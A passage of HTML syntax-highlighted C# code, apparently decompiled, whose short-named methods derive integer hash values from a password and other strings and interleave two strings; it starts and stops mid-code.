/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">text4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">arg_469_0</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">(</span><span style="color: #0000BB">arg_464_1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">serializable</span><span style="color: #007700">)).</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num3&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ah</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">(</span><span style="color: #0000BB">password</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">text4</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">num3</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">int&nbsp;c</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;this2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;text&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this2</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num3&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">num4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;arg_9C_0&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num5&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">num3&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)&nbsp;?&nbsp;</span><span style="color: #0000BB">3&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num6&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">arg_9C_0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num6&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">num5&nbsp;</span><span style="color: #007700">+&nbsp;(int)</span><span style="color: #0000BB">text</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num4&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num3&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">^&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;arg_A9_0&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num7&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">num3&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)&nbsp;!=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;?&nbsp;</span><span style="color: #0000BB">7&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num8&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">arg_A9_0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;arg_7D_0&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num8&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">num7</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;arg_78_0&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_6B&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">43973</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;expr_6E&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num4</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">arg_7D_0&nbsp;</span><span style="color: #007700">+&nbsp;(int)</span><span style="color: #0000BB">arg_78_0</span><span style="color: #007700">&#91;(</span><span style="color: #0000BB">expr_6E&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;(</span><span style="color: #0000BB">expr_6B&nbsp;</span><span style="color: #007700">%&nbsp;</span><span style="color: #0000BB">expr_6E</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(int)((</span><span style="color: #0000BB">uint</span><span style="color: #007700">)</span><span style="color: #0000BB">num3&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">26&nbsp;</span><span style="color: #007700">^&nbsp;(</span><span style="color: #0000BB">uint</span><span style="color: #007700">)((</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">^&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">)&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">67108863</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">int&nbsp;ah</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;</span><span style="color: #007700">@</span><span style="color: #0000BB">this</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num3&nbsp;</span><span style="color: #007700">=&nbsp;@</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num3&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">19</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num3&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">3&nbsp;</span><span style="color: #007700">+&nbsp;(int)@</span><span style="color: #0000BB">this</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">5&nbsp;</span><span style="color: #007700">+&nbsp;(int)@</span><span style="color: #0000BB">this</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num3&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num3&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">19</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;j&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num3&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">j&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">j&nbsp;</span><span style="color: #007700">-=&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">5&nbsp;</span><span style="color: #007700">+&nbsp;(int)@</span><span style="color: #0000BB">this</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">j</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">3&nbsp;</span><span style="color: #007700">+&nbsp;(int)@</span><span style="color: #0000BB">this</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num3&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">j&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">^&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(</span><span style="color: #0000BB">num4&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">16777215</span><span style="color: #007700">)&nbsp;^&nbsp;</span><span style="color: #0000BB">num4&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">24</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;</span><span style="color: #0000BB">string&nbsp;a</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;obj</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Serializable&nbsp;s</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;serializable&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;_obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;text&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">obj</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;text2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">_obj</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text2</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num3&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">^&nbsp;</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">text2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num2&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">num4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num4&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">num2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;stringBuffer&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">(</span><span style="color: #0000BB">num4</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num5&nbsp;</span><span style="color: #007700">=&nbsp;(int)</span><span style="color: #0000BB">text2</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;num6&nbsp;</span><span style="color: #007700">=&nbsp;(int)</span><span style="color: #0000BB">text</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">num4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">num5&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num5&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}